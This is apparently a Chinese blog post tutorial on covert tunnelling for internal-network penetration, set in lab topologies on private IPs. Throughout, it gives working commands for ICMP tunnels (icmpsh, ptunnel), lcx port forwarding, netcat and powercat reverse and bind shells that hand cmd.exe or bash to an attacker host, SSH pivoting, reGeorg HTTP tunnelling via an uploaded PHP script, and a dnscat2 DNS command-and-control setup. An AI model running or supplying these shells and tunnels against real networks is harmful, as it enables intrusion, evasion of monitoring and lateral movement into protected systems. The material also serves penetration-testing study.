关于内网渗透中-隐藏通信技术

概述:

根据OSI网络模型角度分析大致可分为三类:

分类:

网络层:IPv6隧道 ICMP隧道 GRE隧道
传输层:TCP隧道 UDP隧道 常规端口转发
应用层:SSH隧道 HTTP隧道 HTTPS隧道 DNS隧道

 

一、网络层

工具:

IPv6隧道
Socat6 6tunnel nt6tunnel

Icmp 隧道
Icmpsh

 

控制端安装:

apt-get install python-impacket
git clone https://github.com/inquisb/icmpsh.git
cd icmpsh

sudo python icmpsh_m.py 本机监听IP 被攻击机器IP

被攻击机器执行:
icmpsh.exe -t 192.168.1.203 -d 500 -b 30 -s 128

 

 

 

 

数据流量包

 

 

 

 

PingTunnel
http://freshmeat.sourceforge.net/projects/ptunnel/

实验拓扑:

 

 

 

 

 

 

实现效果:

 

 

 

这种攻击场景中很常见,就是攻击主机无法直接访问到数据库服务器,但是可以通过web服务器作为代理来进行访问,具体操作如下:

攻击主机 Linux服务器安装ptunnel工具

Linux服务器上操作:
# ptunnel -x hack405

 

 

攻击主机上操作:
# sudo ptunnel -p 192.168.1.14 -lp 2080 -da 10.10.202.103 -dp 3389 -x hack405

 

 

然后在攻击主机上就可以访问:
rdesktop 192.168.1.203:2080 -u '用户名' -p 密码

 

 

 

 

在Linux服务器上看下网络层的流量

 

 

 

二、传输层隧道技术

Lcx 端口转发
Lcx 是一个基于socket套接字实现的端口转发工具,有window和Linux两个版本,window版本为lcx.exe ,Linux的版本为portmap.
内网端口转发
Lcx.exe -slave public IP address 4444 127.0.0.1 3389

 

 

 

Vps 上执行:
Lcx.exe -listen 4444 5555
将本机上4444端口上的所有数据转发到本机的5555端口上
Mstsc public IPaddress:5555 访问即可连接内网主机的3389端口

 

 

 

另外一种利用场景:

本地端口映射,在渗透测试中,如果内网的主机限制了允许开放的端口,这时候就需要进行端口复用,一般就是复用允许的端口,53 或者80 ,443之类的

lcx.exe -tran 53 192.168.1.13 3389

 

 

 

Netcat 端口转发

使用nc进行端口扫描
Nc -v -z 192.168.1.11 20-1024

Nc 监听
Nc -lvvp 4444

文件传输

目标主机开启监听:
nc -lp 333 > 1.txt

源文件主机开启传输:
sudo nc -vn 192.168.1.14 333 < man.txt -q 1
(UNKNOWN) [192.168.1.14] 333 (?) open

正向shell

Window版本
服务端:
nc.exe -lvp 4444 -e c:\Windows\System32\cmd.exe
listening on [any] 4444 ...
192.168.1.14: inverse host lookup failed: h_errno 11004: NO_DATA
客户端:
Nc -lvp 192.168.1.14 4444

 

 

 

 

Linux 版本
服务端:
Nc -lvp 4444 -e /bin/bash

客户端:
Nc 192.168.1.14 4444

 

 

反向shell

客户端监听:
Nc -lvvp 4444
服务端:
Nc 192.168.1.13 -e c:\Windows\System32\cmd.exe

 

 

 

实验拓扑:

 

 

 

  

环境描述:

攻击者获取了Linux服务器的权限,无法直接访问数据库服务器,但是可以通过Linux服务器来访问数据库服务器,现在要通过内网代理的方式,实现攻击者直接访问数据库服务器

攻击者本机监听:
# sudo nc -lvvp 3333


数据库服务器执行:
# nc.exe-master>nc.exe -lvp 3333 -e c:\Windows\system32\cmd.exe

Linux服务器 边界服务器上执行
# nc -v 192.168.1.203 3333 -c "nc -v 10.10.202.103 3333"

 

 

攻击者服务器上反弹回来数据库服务器的cmd shell

 

 

 

Powercat
power cat是nc的power shell版本,可以通过执行命令回到本地运行,也可以使用远程权限执行

Window上执行:
powercat -l -p 8080 -e cmd.exe -v

 

 

攻击者kail linux
# nc 192.168.1.13 8080 -vv

 

 

 

 

通过nc反向连接powercat

Kail 主机监听:
# nc -lvvp 8088

Window7主机执行:
# PS C:\Users\lisi\Desktop\powercat-master> powercat -c 192.168.1.203 -p 8088 -v -e cmd.exe

 

 

 

通过powercat 返回power shell
这种情况下只能在window操作系统中进行

客户端下载powercat 并开启监听
PS C:\Users\Administrator\Desktop\powercat-master> powercat -l -p 9999 -v

 

 

服务器端执行:
PS C:\Users\lisi\Desktop\powercat-master> powercat -c 192.168.1.11 -p 9999 -v -ep

 

 

 

 

客户端返回powershell

 

 

 

 

Poershellcat DNS 隧道

Kail linux 主机安装
git clone https://github.com/iagox86/dnscat2.git
Cd dnscat2/server
gem install bundler
bundle install
sudo ruby dnscat2.rb pentest.com -e open --no-cache

# powercat -c 192.168.1.203 -p 53 -dns pentest.com -e cmd.exe

 

 

 

 

实验拓扑:

 

 

 

环境描述:

三台主机,其中Windows7 主机可以通过ping 命令访问 Windows server 2008 和kail linux ,kail Linux主机和Windows server 2008 之间无法访问,现在将windows 7 作为跳板,让kail Linux主机可以连接Windows server 2008。

# powercat -l -v -p 9999 -e cmd.exe

 

 

# powercat -l -p 8000 -r tcp:10.10.202.104:9999 -v

 

 

 # sudo nc 192.168.1.13 8000 -vv

 

 

 

三、应用层隧道技术

SSH协议
SSH常见参数说明:
-C:压缩传输,提高传输速度
-f:将SSH传输转入后台执行,不占用当前shell
-N:建立静默连接,建立了连接,但是看不到会话
-g:允许远程主机连接本地用户转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态端口转发
-p:指定SSH端口

本地端口转发

实验环境:

 

 

 

 

以Linux服务器192.168.1.14为跳板,将内网的数据库服务器10.10.202.102的3389端口映射到VPS的192.168.1.203的1153端口上,再访问VPS的1153端口,就可以访问10.10.202.102的3389端口了。
VPS上执行如下命令:
ssh -CfNg -L 1153(vps端口):10.10.202.102:(目标端口) root@192.1681.1.13
ssh -CfNg -L 1153:10.10.202.102:3389 root@192.168.1.14

 

 

# rdesktop 192.168.1.203:1153 -u 'hack\lisii' -p 123456

 

 

远程端口转发

 

 

 

左侧为攻击者VPS,右侧是一个小内网,包含二台服务器,内网没有边界,所以外部不能直接访问内网的服务器,内网的Linux服务器可以访问vps和数据库服务器,目标为访问内部的数据库服务器。
以web服务器为跳板机,将VPS的3307端口流量转发到10.10.202.102的3389上,然后访问VPS的3307端口就可以访问10.10.202.102的3389端口了

在WEB服务器上操作
# ssh -CfNg -R 3307:10.10.202.102:3389 gandolf@192.168.1.203
Vps上查看端口:

 

 

连接下试试

# rdesktop 127.0.0.1:3307 -u 'hack\lisi' -p 123456

 

 

动态转发实验拓扑:

 

 

 

实验环境如上,现在目标是攻击者通过本地访问数据库服务器。动态端口映射就是建立一个SSH加密的SOCKS5 SOCK4代理通道

操作如下:
Kail Linux攻击者机器执行:
# ssh -CfNg -D 7000 root@192.168.1.14

 

 

 

设置系统代理访问

 

 

 

 

HTTP/HTTPS 协议
reGeorg 主要功能是把内网服务器端口的数据通过HTTP/HTTPS 隧道转发到本机,实现是基于HTTP协议

实验拓扑:

 

 

 

目标通过端口转发的方式在攻击机器kail linux 上直接访问内网10.10.202.0/24网段的机器

在攻击服务器上下载:https://github.com/sensepost/reGeorg
并将tunnel.nosocket.php 脚本上传到Linux服务器上,然后进行访问验证,是否正常工作

 

 

然后在kail linux 上执行如下命令:
# python reGeorgSocksProxy.py -u http://192.168.1.14/tunnel.nosocket.php -p 9999

 

 

 

gandolf@APT-101:~$ grep "9999" /etc/proxychains.conf 

socks4 127.0.0.1 9999

gandolf@APT-101:~$

 

 

 

DNS协议
Dnscat2
直连模式
中继模式
支持多个会话,流量加密,使用密钥防止中间人攻击,内存中执行power shell脚本,隐蔽性强
操作步骤:
部署域名解析
首先需要一个域名,比如:hack.testlab
A 记录 c2.hack.testlab 指向 192.168.1.11
NS 记录 vpr 指向 c2.hack.testlab

安装dnscat2
# git clone https://github.com/lukebaggett/dnscat2-powershell.git
启动dnscat2
# sudo ruby ./dnscat2.rb vpr.hack.testlab -e open -c password --no-cache

 

 

客户端连接

 

客户端一般推荐使用power shell的dnscat 版本


Import-Module .\dnscat2.ps1
Start-Dnscat2 -Domain vpr.hack.testlab -DNSServer 192.168.1.203

 

 OVER! 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

posted @ 2020-07-05 16:47  APT-101  阅读(1146)  评论(0编辑  收藏  举报